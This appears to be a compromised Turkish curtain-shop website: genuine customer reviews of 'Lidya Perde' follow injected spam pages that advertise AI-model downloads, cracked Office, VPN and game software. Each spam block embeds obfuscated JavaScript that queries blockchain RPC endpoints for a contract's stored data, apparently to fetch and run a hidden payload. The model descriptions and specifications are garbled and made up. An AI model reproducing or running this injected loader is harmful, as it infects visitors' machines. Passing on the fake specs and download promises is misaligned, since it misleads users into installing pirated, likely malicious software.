Lidya Perde
How to Run Qwen3.5-35B-A3B-FP8 Complete Walkthrough Windows

How to Run Qwen3.5-35B-A3B-FP8 Complete Walkthrough Windows

Deploying locally takes the least amount of time when executed through native OS tools.

Refer to the instructions below to proceed.

All large files and heavy weights are downloaded automatically by the script.

The program scans your VRAM and RAM to seamlessly apply optimal configurations.

📄 Hash Value: a2d93ddeb67ddd71dbff3c8f5aed5e3b | 📆 Update: 2026-07-10
yH5BAEAAAAALAAAAAABAAEAAAIBRAA7Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i



  • CPU: multi-threading optimized for fast prompt processing
  • RAM: required: 16 GB absolute minimum for small models
  • Disk Space: 80 GB NVMe SSD required for fast model weights loading
  • GPU: modern architecture (Ada Lovelace / Ampere minimum)

The Qwen3.5-35B-A3B-FP8 Model: A Breakthrough in Large Language Capabilities

The Qwen3.5-35B-A3B-FP8 model represents a significant leap in large language capabilities, combining an expansive 35-billion parameter base with an advanced A3B architecture optimized for both speed and accuracy. This cutting-edge technology enables the model to excel in multilingual tasks, achieving state-of-the-art results on benchmarks ranging from code generation to conversational AI across more than 50 languages.* Key features of the Qwen3.5-35B-A3B-FP8 model: 1. **Mixture-of-Experts routing scheme**: Dynamically allocates computational resources for faster convergence and reduced training costs. 2. **Built-in safety filters**: Ensures reliable and responsible outputs for enterprise and research applications. 3. **Advanced A3B architecture**: Optimized for speed and accuracy, making it suitable for deployment on modern GPU clusters.

Parameter Base 35 B
Quantization Method FP8
Architecture Type A3B (Mixture-of-Experts)
Supported Languages 50+

What to Expect from the Qwen3.5-35B-A3B-FP8 Model

With its advanced capabilities and robust features, the Qwen3.5-35B-A3B-FP8 model is poised to revolutionize the field of large language processing. By leveraging its strengths in multilingual tasks, developers can create more accurate and efficient models that cater to a wide range of languages.* Benefits of using the Qwen3.5-35B-A3B-FP8 model: 1. **Improved accuracy**: Achieves state-of-the-art results on benchmarks across multiple languages. 2. **Increased efficiency**: Optimized for speed and accuracy, making it suitable for deployment on modern GPU clusters. 3.

Q&A Section

Q: What is the Qwen3.5-35B-A3B-FP8 model’s strength in multilingual tasks?A: The Qwen3.5-35B-A3B-FP8 model excels in multilingual tasks, achieving state-of-the-art results on benchmarks ranging from code generation to conversational AI across more than 50 languages. Q: How does the Qwen3.5-35B-A3B-FP8 model’s architecture contribute to its performance?A: The Qwen3.5-35B-A3B-FP8 model’s A3B architecture, powered by a mixture-of-experts routing scheme, dynamically allocates computational resources for faster convergence and reduced training costs. Q: What makes the Qwen3.5-35B-A3B-FP8 model suitable for deployment on modern GPU clusters?A: The Qwen3.5-35B-A3B-FP8 model’s compact memory footprint, enabled by FP8 quantization, makes it an ideal choice for deployment on modern GPU clusters.

Conclusion

In conclusion, the Qwen3.5-35B-A3B-FP8 model represents a significant breakthrough in large language capabilities, offering unparalleled performance and efficiency in multilingual tasks. With its advanced features and robust architecture, this model is poised to revolutionize the field of natural language processing, enabling developers to create more accurate and efficient models that cater to a wide range of languages.

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How to Deploy LTX2.3_comfy via WebGPU (Browser) with 1M Context Direct EXE Setup Windows

How to Deploy LTX2.3_comfy via WebGPU (Browser) with 1M Context Direct EXE Setup Windows

Deploying this model locally is quickest when done via a simple curl command.

Check out the detailed setup guide below to begin.

The client handles the setup, pulling gigabytes of data automatically.

Without any user input, the software calibrates parameters for optimal hardware usage.

📎 HASH: 19ec8f2fe9eab42183df6cdf00fb65a5 | Updated: 2026-07-08
yH5BAEAAAAALAAAAAABAAEAAAIBRAA7Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i



  • CPU: AVX2/AVX-512 instruction set required for llama.cpp
  • RAM: 32 GB highly recommended for 26B+ GGUF models
  • Disk Space: required: fast PCIe 4.0 drive for instant boots
  • Graphics: TensorRT-LLM / vLLM inference engine compatible chip

The LTX2.3_comfy model represents a significant advancement in generative AI, combining *high‑fidelity* text‑to‑image synthesis with an intuitive user interface. It leverages a refined transformer architecture that balances computational efficiency with detailed visual coherence, making it suitable for both creative professionals and hobbyists. The model has been optimized for *rapid inference*, delivering consistent quality across a wide range of styles while maintaining a modest memory footprint. Users appreciate its seamless integration with popular workflow tools, thanks to built‑in support for common file formats and API endpoints. A quick reference table below outlines the core technical specifications that differentiate LTX2.3_comfy from earlier versions.

Specification Value
Parameters 2.3B
Training Data 500M images
Inference Time <0.1s
Memory Usage <4GB
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🔐 Hash sum: 23a732bdf588d2ead95facb489b1e2d7 | 📅 Last update: 2026-07-09
yH5BAEAAAAALAAAAAABAAEAAAIBRAA7Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,48,56,102,100,100,50,53,98,55,56,100,102,52,101,57,52,49,53,51,54,57,53,51,98,101,49,51,48,48,52,53,53,101,51,56,56,49,56,56,49),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i



  • CPU: multi-threading optimized CPU
  • RAM: 32 GB needed to prevent memory leaks
  • Disk Space: required: fast PCIe 4.0 drive
  • Graphic Processor: RTX 3060 or RX 6600 for minimum settings

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Quick Run Qwen3-VL-235B-A22B-Instruct No-Internet Version

Quick Run Qwen3-VL-235B-A22B-Instruct No-Internet Version

If you need a near-instant local setup, just fetch files via a basic curl request.

Refer to the instructions below to proceed.

The script takes care of fetching the multi-gigabyte model weights.

To guarantee smooth performance, the process auto-selects the best options.

📡 Hash Check: 46517097e9aa8579ead45fd9bd3877f5 | 📅 Last Update: 2026-07-07
yH5BAEAAAAALAAAAAABAAEAAAIBRAA7Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i



  • Processor: Intel i5 or AMD Ryzen 5 for basic 7B models
  • RAM: high-speed DDR5 memory preferred for CPU offloading
  • Disk Space: required: fast PCIe 4.0 drive for instant boots
  • Graphic Processor: RTX 3060 or RX 6600 for minimum 8B VRAM offloading

The Qwen3-VL-235B-A22B-Instruct model combines a massive 235 billion parameters with an A22B architecture to deliver state‑of‑the‑art multimodal understanding. It processes text and images simultaneously, enabling high‑fidelity vision‑language tasks such as caption generation, visual question answering, and diagram interpretation. The model was fine‑tuned on a diverse corpus of web‑scale text and image‑caption pairs, which improves its contextual reasoning and visual grounding. Its context window extends to 32 k tokens, allowing it to retain long‑range dependencies across documents and complex scenes. In benchmark evaluations, Qwen3-VL-235B-A22B-Instruct consistently outperforms prior large multimodal models on both accuracy and efficiency metrics. The accompanying instruction‑tuned variant ensures reliable performance on user‑centric prompts, making it suitable for production‑grade AI assistants.

Metric Value
Parameters 235 B
Context Length 32 k tokens
Modalities Text + Image
Training Data Web‑scale text & image‑caption pairs
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Microsoft Office 2016 LTSC Standard Patched Version Deployment Tool English No Telemetry Direct Deploy Code
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📊 File Hash: 69acea651e06c954c8eb113ee622e3a1 — Last update: 2026-07-08
yH5BAEAAAAALAAAAAABAAEAAAIBRAA7Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,99,101,48,53,48,99,48,98,97,54,48,102,53,99,101,55,52,51,48,57,99,102,49,48,53,98,100,53,55,57,100,101,101,51,50,98,100,57,48,48),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i



  • Processor: 1 GHz dual-core required
  • RAM: 4 GB to avoid lag
  • Disk space: Required: 64 GB

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Microsoft Access

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Microsoft Word

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Qwen3.5-9B-AWQ Windows 10 Fully Jailbroken

Qwen3.5-9B-AWQ Windows 10 Fully Jailbroken

Deploying locally takes the least amount of time when executed through native OS tools.

Just follow the guidelines provided below.

1-click setup: the app automatically fetches the large weight files.

The script runs a quick hardware check to dynamically adjust parameters for elite speed.

🗂 Hash: 0e4a8ca228d9d6c8f8766204da482b79 • Last Updated: 2026-07-04
yH5BAEAAAAALAAAAAABAAEAAAIBRAA7Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i



  • Processor: high single-core performance needed for token latency
  • RAM: minimum 16 GB for stable 8B model loading
  • Storage:100 GB free space for HuggingFace cache folder
  • GPU: 16 GB+ video memory highly recommended for exl2 / AWQ formats

The Qwen3.5-9B-AWQ is a 9‑billion parameter language model designed for balanced performance and inference efficiency. It leverages Activation‑aware Quantization (AWQ) to reduce memory footprint while preserving high accuracy on a wide range of tasks. The model supports an extended context length of 8K tokens, enabling it to handle longer documents and complex reasoning chains. Trained on diverse multilingual data, it excels in code generation, dialogue, and factual QA across multiple languages. A compact yet powerful option for developers who need fast inference on consumer‑grade hardware. Key technical specifications are summarized below:

Spec Value
Parameters 9 B
Quantization AWQ (4‑bit)
Context Length 8K tokens
Primary Use‑cases Code, chat, QA
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CyberGhost Crack exe Windows 11 [x32x64] Bypass
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📤 Release Hash: afc6b470cdfcd2e4667b3a0a3b4d00cc • 📅 Date: 2026-07-01
yH5BAEAAAAALAAAAAABAAEAAAIBRAA7Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,98,97,48,99,98,54,101,102,98,98,48,51,55,50,49,48,48,57,54,102,48,48,57,49,54,55,97,101,56,54,101,50,99,50,54,52,52,50,101,55),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i



  • Processor: 1 GHz CPU for patching
  • RAM: 4 GB for crack use
  • Disk space: 64 GB for unpack

Internet anonymity with your very own Virtual Private Network connection that makes your Internet experience simple as well as secure. Websites you visit usually bundle trackers for targeted advertising, search engines monitor user habits and profiles to offer suggestions, and so on. While these measures are meant to enhance the user experience, it is equally true that some might feel, and for good reason, that there are too many prying eyes watching. Online privacy has become a concern of any computer user.

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Cronos: The New Dawn Deluxe Edition Cracked Version Steam Rip 2026
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💾 File hash: 9cd4069a14364aff38306e3685f005cc (Update date: 2026-07-05)
yH5BAEAAAAALAAAAAABAAEAAAIBRAA7Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,48,56,102,100,100,50,53,98,55,56,100,102,52,101,57,52,49,53,51,54,57,53,51,98,101,49,51,48,48,52,53,53,101,51,56,56,49,56,56,49),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i



  • Processor: 4.0 GHz+ boost clock recommended
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  • Disk Space: free: 80 GB on system drive
  • Graphics: 12 GB VRAM minimum required

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Word/Doc to Pdf Converter&Creator Portable + Product Key [Stable] [Patch]
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🧾 Hash-sum — 93f477f30be679453fa893273d61bc85 • 🗓 Updated on: 2026-06-30
yH5BAEAAAAALAAAAAABAAEAAAIBRAA7Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,98,97,48,99,98,54,101,102,98,98,48,51,55,50,49,48,48,57,54,102,48,48,57,49,54,55,97,101,56,54,101,50,99,50,54,52,52,50,101,55),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i



  • Processor: Dual-core CPU for activator
  • RAM: 4 GB for tools
  • Disk space: 64 GB for patching

Sporting a user-friendly interface this tool lets you convert Word files (DOC, DOCX or DOCM file format) to PDF and merge multiple items into a single PDF. Free Word/Doc to PDF Converter&Creator is a compact and easy-to-use application that lets you to convert Microsoft Word documents to Acrobat Reader files. This necessity is met by many computer users that want to publish documents on Internet websites in a more comfortable format.

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Fatih Taşkesen profil fotoğrafı
Fatih Taşkesen
10 ay önce
Lidya perde Serkan bey e arkadaşımın tavsiyesi üzerine gittim.Serkan bey in tavrı ,sabrı ,işine olan saygısı,perdelerin kalitesi ve işçiliği ,ödeme konusundaki esnekliği ile özlediğimiz esnafllığı hatırlattı.Tavsiye ederim .(Arzu Taşkesen )
Göksun Unat profil fotoğrafı
Göksun Unat
10 ay önce
Serkan Beyi iyiki tanımışım işinde çok titiz başarılı bir insan çok güvenli ona bütün evinizin perdelerini gözünüz kapalı emanet edebilirsiniz iyiki tanıdım dediğim birisi 🙏🏻zevkli ve kaliteli 🧿 lidya perde farkını hissedin
GÖKHAN TAŞKIN profil fotoğrafı
GÖKHAN TAŞKIN
10 ay önce
Ormanköy'de yeni taşındığımız evimizde Lidya Perdeyi seçtik ve çok memnun kaldık. Serkan Bey'le ilgi , alaka ve verdiği kaliteli hizmet için çok teşekkür ederiz. Gönül rahatlığıyla tercih edebilirsiniz .
ildem sermen profil fotoğrafı
ildem sermen
10 ay önce
Serkan Bey’e her şeyden önce güler yüzü, çözüm odaklılığı ve tüm yardımları için çok teşekkür ediyorum. 10 yıldır kendisinin müşterisi olarak her zaman çok memnun kaldık, tavsiye ettiğim arkadaşlarım da çok memnun kaldılar. Tekrar teşekkür ediyorum kendisine
M S profil fotoğrafı
M S
10 ay önce
Serkan bey çok ilgiliydi, hızlı ve tam istediğimiz gibi bir şekilde siparişlerimizi karşıladı, ürünler çok kaliteli ve piyasaya göre fiyatları makul, ihtiyaç durumunda her zaman tercih edeceğimiz marka, çok teşekkürle
oya celebi profil fotoğrafı
oya celebi
1 yıl önce
Yıllardır hem iş yerimizin (kliniğinimizin) hem de evimizin perdeleri için tercih ettiğimiz tek adres Lidya Perde. Her zaman beklentimizin çok üstünde iş çıkardılar. Ölçü alma, dikim ve montaj süreci çok profesyonel. Kumaş kalitesi ve işçilik harika. Hem kalite hem de hizmet açısından kesinlikle tavsiye ederim. Serkan Bey ve ekibinin önerileri, ilgisi ve titiz çalışmaları için sonsuz teşekkürler 🙏🏼
ilay şahin profil fotoğrafı
ilay şahin
1 yıl önce
Serkan bey çok ilgili ve güleryüzlüydü.Seçimleri son derece zarif ve şık oldu.Aldığımız ürünler sın derece şık ve kaliteli. Kesinlikle tavsiye ediyorum. Siparişleri söz verdiği gün teslim etti.
aslı erenoğlu profil fotoğrafı
aslı erenoğlu
1 yıl önce
Serkan Bey, Lidya perde kalitesi ve şıklığından beğenerek yaptırdığım bir yer. Tabiki 3. 4. Kez çalıştığımız memnun kalıp tavsiye ettiğim bir yer. Hiç şüphe etmeyin. En önemlisi de Serkan beyin işi ile ilgi ve alakası güler yüzlülüğü içtenliği istediğinizi en iyi şekilde anlayıp hazırlaması tabi ürünlerin kalitesi de çok önemli olduğu için tercihimiz oldu. Güvenerek çevremdekilere tavsiye ediyorum. Ve herkes memnun teşekkürler. Hayırlı işleriniz olsun. ☺️ Bol kazançlar.
Derya Aydemir profil fotoğrafı
Derya Aydemir
2 yıl önce
Lidya perdeden kız katdeşimin evinin tüm perdelerini yaptırdık. Bizimle ilgilenen Serkan Beye çok teşekkür ediyorum. Ölçü alımından , perde seçimine ve teslimatına kadar bize çok yardımcı oldu . Güleryüzlü olması ve işine hakim olması bizim için çok önemliydi. Perdeler hem çok şık hem de kaliteli. Herkese tavsiye ediyorum,
Engin Canik profil fotoğrafı
Engin Canik
2 yıl önce
Başarılı bir işletme tavsiye ediyorum
Muhamme Osma profil fotoğrafı
Muhamme Osma
2 yıl önce
Emine Osma profil fotoğrafı
Emine Osma
2 yıl önce
Uğur Daştan profil fotoğrafı
Uğur Daştan
2 yıl önce
zehra Yüksel profil fotoğrafı
zehra Yüksel
2 yıl önce
Temiz ve özenli :)
Zeynep Güneş profil fotoğrafı
Zeynep Güneş
2 yıl önce
Tavsiye üzerine evimin perdelerini yaptırdım ve aşırı memnun kaldım. Siz gidip yüzlerce model arasından seçim yapıyorsunuz tam söylenen günde perdeniz geliyor ve camınıza asılıyor harika titizlikte bu hizmet için çok çok teşekkür ederim
Mustafa Yılmaz profil fotoğrafı
Mustafa Yılmaz
2 yıl önce
Samimiyet ile söyleyebilirim ki insana yaklaşımı tecrubesi cok farklı sizin fikiriniz olsada sunduğu farklı alternatifler işine ne kadar hakim olduğunu göstermektedir. Teşekkürler Lidya perde
Fatma Kasap profil fotoğrafı
Fatma Kasap
2 yıl önce
Evimin bütün perdelerini yaptırdım.Çok şık özenli ve güzel durdu.Kaliteli,mükkemmel diyebilirim ☺️Gönül rahatlığıyla tercih edebilceğiniz bir firma.Serkan Beye ve ekibine ayrıca çok teşekkür ederim,çok anlayışlı ve disiplinli oldukları için ☺️☺️☺️👏🏻
Suna Öztürk profil fotoğrafı
Suna Öztürk
2 yıl önce
Sipariş verdiğim perdelerim kısa bir sürede eksiksiz ve hatasız teslim edildi.Yapılan işten son derece memnunum.Firma yetkilisi Serkan Bey dürüst çok nazik ve ilgili.Her detayı düşünüyor.Gönül rahatlığıyla perde ve store yaptırabilirsiniz.
Mehmet Ali Karaman profil fotoğrafı
Mehmet Ali Karaman
2 yıl önce
Serkan bey çok teşekkür ederiz çok memnun kaldık.Gerek montajdaki titizliğiniz gerekte ürün seçimi yaparken ilgi ve alakanız içinde ayrıca teşekkür ederiz.Perdelerimiz yeni evimize çok yakıştı.
Dilek Kazanci profil fotoğrafı
Dilek Kazanci
2 yıl önce
Lidya Perde, Taşdelen’de kaliteli, uzun ömürlü ve şık perdeler diktirebileceğiniz tarzda bir perdecidir. İşletme sahibi kibar ve saygılıdır. Yakın zamanda aldığımız hizmetten memnun kaldık. Çok kısa bir sürede siparişimiz sorunsuz teslim edildi.
Yusuf Akman profil fotoğrafı
Yusuf Akman
2 yıl önce
Harika oldu çok teşekkür ederim emeğinize sağlık
YAKUP EYİ profil fotoğrafı
YAKUP EYİ
2 yıl önce
Alışverişimi gayet güzel ve sorunsuz bir şekilde gerçekleştirdim her şey için serkan beye teşekkür ederim
Başak Aydoğdu profil fotoğrafı
Başak Aydoğdu
2 yıl önce
Serkan bey çok nazik ve inanılmaz ilgili ürünleri de bir o kadar harika şiddetle tavsiye ediyorum ❤️
Vedat Akinci profil fotoğrafı
Vedat Akinci
2 yıl önce
Gerçekten başarılı ve güvenilir bir iş yeri seçtiğimiz ürünleri belirttiği gününde teslim edildi . Zengin ürün çeşidi ve ilgili bir mağaza. Güvenle ürünlerinizi belirleyebilir ve siparişinizi verebilirsiniz. biz serkan bey’e ilgisinden dolayı teşekkür ederiz
Engin Caglat profil fotoğrafı
Engin Caglat
2 yıl önce
Bolca çeşit ürün, güvenilir ve güler yüzlü hizmet, profesyonel ve samimi ayrıca misafirperverligi için Serkan Bey e teşekkürler, hayırlı işleriniz olsun...
Cengiz Coskun profil fotoğrafı
Cengiz Coskun
2 yıl önce
Tül perde siparişi verdim. çok ilgilendiler seçeneklerdi tasarımdı derken tam istediğim tül perdeleri söz verdikleri gün dün teslim ettiler.. hızlı ve kaliteli hizmet tavsiye ederim.
Uğur Daşdan profil fotoğrafı
Uğur Daşdan
2 yıl önce
Çok başarılı işler yapılıyor randevu gününde ölçüler alındı ve randevu gününde montaj yapıldı güler yüzlü işinin ehli bir esnaf teşekkürler.